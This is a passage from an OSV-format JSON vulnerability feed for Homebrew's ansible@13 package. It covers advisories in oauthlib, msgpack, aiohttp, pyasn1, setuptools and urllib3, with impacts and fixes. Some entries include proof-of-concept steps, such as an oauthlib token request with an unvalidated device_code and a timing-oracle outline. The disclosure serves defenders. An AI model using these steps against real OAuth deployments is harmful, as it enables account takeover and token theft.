times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n> **Note:** Practical exploitability is limited due to the single-use nature of \n> authorization codes and real-world network noise. However, the vulnerable \n> pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49265"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/963"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-49272","published":"2026-10-28T09:21:39Z","modified":"2026-11-09T10:25:52Z","upstream":["GHSA-3jp2-3mrg-2vxc","CVE-2026-49272"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.1","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.0","key":"pkg:pypi/oauthlib@4.0.0","resource":"oauthlib"}]},"summary":"OAuthLib: Bearer token can be retrieved as long as client knows a valid client ID for device workflow","details":"### Summary\nA call to the token endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"` and a bogus `device_code` is able to get a bearer token as long as they know a valid client ID enabled for the device workflow.\n\n### Details\n\n[Section 3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4) says that the token endpoint should take in `device_code` as a required parameter.`DeviceCodeGrant.validate_token_request` does not perform any validation of `device_code`. `DeviceCodeGrant.validate_token_request` should be validating that `device_code` was passed in as a parameter and that it is valid, similar to how `AuthorizationCodeGrant.validate_token_request` does the checks [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446) and [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI would like to propose a new method be added to `RequestValidator` called `validate_device_code` that is similar to the `validate_code` method and is called inside of `DeviceCodeGrant.validate_token_request`.\n\n### PoC\nCreate an implementation of `RequestValidation.authenticate_client` that returns `True` if the client's `client_type` is `\"public\"`. You would find yourself in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request` where it doesn't properly handle public clients (see https://github.com/oauthlib/oauthlib/issues/919).\n\nCreate a client that has a `client_type` of `\"public\"` and set it's `grant_type` to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation of `RequestValidation.authenticate_client` done, use that validator for your token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\": <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n  \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou now have a bearer token for the client without a valid `device_code`.\n\n\n### Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't realize the `device_code` parameter is not being validated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/954"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-57585","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:56Z","upstream":["GHSA-6v7p-g79w-8964","CVE-2026-57585","PYSEC-2026-3625"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.1","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.2.3","key":"pkg:pypi/msgpack@1.2.3","resource":"msgpack"}]},"summary":"MessagePack for Python: Out-of-bounds read / crash on Unpacker reuse after a caught error","details":"### Impact\n\nIf the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV.\n\nIf the Unpacker is used repeatedly to unpack untrusted input from external sources, it may be vulnerable to a DoS attack.\n\n### Patches\n\nv1.2.1\n\n### Workarounds\n\nUsers should create a new Unpacker instead of reusing the same Unpacker after an error occurs.\n\nApplying the above patch can prevent SEGV, but reusing the Streaming Unpacker after it has encountered an error will not yield correct data. If an error occurs during Streaming Unpacking, the Stream and Streaming Unpacker should be discarded.\n\nTherefore, this is not just a workaround but the correct solution. The above patch only prevents crashes from incorrect usage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-6v7p-g79w-8964"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/2c56ddb5d0025ed481d962c0f5d62d19dec7476d"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-59881","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T19:52:58Z","upstream":["GHSA-mq44-7p77-q5h7","CVE-2026-59881","PYSEC-2026-3547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate","details":"### Summary\n\nThe client accepts and decompresses frames with the RSV1 bit set even when the `permessage-deflate` extension was not negotiated.\n\n### Impact\n\nA client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mq44-7p77-q5h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59881"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/12978"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"http://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-59884","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T19:52:58Z","upstream":["GHSA-m4p7-r5rc-7g4j","CVE-2026-59884","PYSEC-2026-3455"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs","details":"### Impact\nThe BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled `ValueError` (integer string conversion limit) while the decoder formats error messages, violating the documented `PyAsn1Error` contract and potentially bypassing caller error handling.\n\nAny application decoding untrusted BER/CER/DER input is affected.\n\n### Affected components\n- `pyasn1.codec.ber.decoder` — `decode()` and `StreamingDecoder`\n- `pyasn1.codec.cer.decoder` and `pyasn1.codec.der.decoder`, which inherit\n  the same tag parsing\n- `pyasn1.type.tag` — `Tag`/`TagSet` reprs could raise `ValueError` when\n  rendering oversized tag IDs (reachable through decoder error paths)\n\nThe encoders and the `pyasn1.codec.native` codec are not affected.\n\n### Patches\nFixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with `PyAsn1Error`. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.\n\n### Workarounds\nBound the size of untrusted input passed to `decode()` before calling it.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59884"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-59885","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T19:52:58Z","upstream":["GHSA-8ppf-4f7h-5ppj","CVE-2026-59885","PYSEC-2026-3456"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service","details":"### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59885"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-59886","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T19:52:58Z","upstream":["GHSA-hm4w-wwcw-mr6r","CVE-2026-59886","PYSEC-2026-3457"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1: Uncontrolled resource consumption when converting decoded REAL values","details":"### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real — float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as <overflow>.\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59886"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-59890","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:57Z","upstream":["GHSA-h35f-9h28-mq5c","BIT-setuptools-2026-59890","CVE-2026-59890","PYSEC-2026-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"83.0.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.0.0","key":"pkg:pypi/setuptools@84.0.0","resource":"setuptools"}]},"summary":"setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+","details":"## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py  (FileList.global_exclude)\ndef global_exclude(self, pattern):\n    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD\n    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_café.txt    # rule saved NFC\n```\n\nand an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-h35f-9h28-mq5c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59890"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/dd9f436a36486b4cb8a4c70a2321548b0be09b8f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2026-3447.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v83.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-69243","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T19:52:58Z","upstream":["GHSA-mfx4-hv73-q22v","CVE-2026-69243","PYSEC-2026-3546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: HTTP request smuggling via WebSocket upgrade","details":"### Summary\n\nThe HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.\n\n### Impact\n\nIf using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13017"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-69244","published":"2026-08-13T16:35:22Z","modified":"2026-09-17T19:52:58Z","upstream":["GHSA-cq5v-8q36-5273","CVE-2026-69244","PYSEC-2026-3545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)","details":"### Summary\n\nAn out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.\n\n### Impact\n\nAn attacker controlled server, or possibly an accidental response could trigger a DoS in the client.\n\n### Workaround\n\nIf unable to upgrade, the Python parser is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-97687","published":"2026-09-30T21:01:57Z","modified":"2026-10-04T12:39:02Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` 